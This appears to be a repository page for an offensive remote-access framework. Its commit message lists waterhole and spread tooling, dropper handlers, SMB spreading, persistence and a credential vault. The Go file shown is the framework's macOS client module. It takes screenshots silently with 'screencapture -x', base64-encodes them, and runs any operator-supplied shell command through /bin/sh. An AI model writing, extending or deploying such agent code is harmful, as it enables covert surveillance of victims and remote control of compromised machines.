Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
46 lines
1.1 KiB
Go
46 lines
1.1 KiB
Go
//go:build darwin
|
|
|
|
package client
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"strings"
|
|
)
|
|
|
|
func capturePlatformScreenshot(customCmd string) (string, error) {
|
|
if strings.TrimSpace(customCmd) != "" {
|
|
out, err := exec.Command("/bin/sh", "-c", customCmd).CombinedOutput()
|
|
if err != nil {
|
|
return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
|
|
}
|
|
if b64 := extractScreenshotBase64(out); len(b64) >= 100 {
|
|
return b64, nil
|
|
}
|
|
return "", fmt.Errorf("custom screenshot command returned no image data")
|
|
}
|
|
|
|
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
path := tmp.Name()
|
|
_ = tmp.Close()
|
|
defer os.Remove(path)
|
|
|
|
out, runErr := exec.Command("screencapture", "-x", "-t", "jpg", path).CombinedOutput()
|
|
if runErr != nil {
|
|
return "", fmt.Errorf("screencapture: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
|
}
|
|
raw, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
if len(raw) < 100 {
|
|
return "", fmt.Errorf("screencapture produced empty image")
|
|
}
|
|
return base64.StdEncoding.EncodeToString(raw), nil
|
|
}
|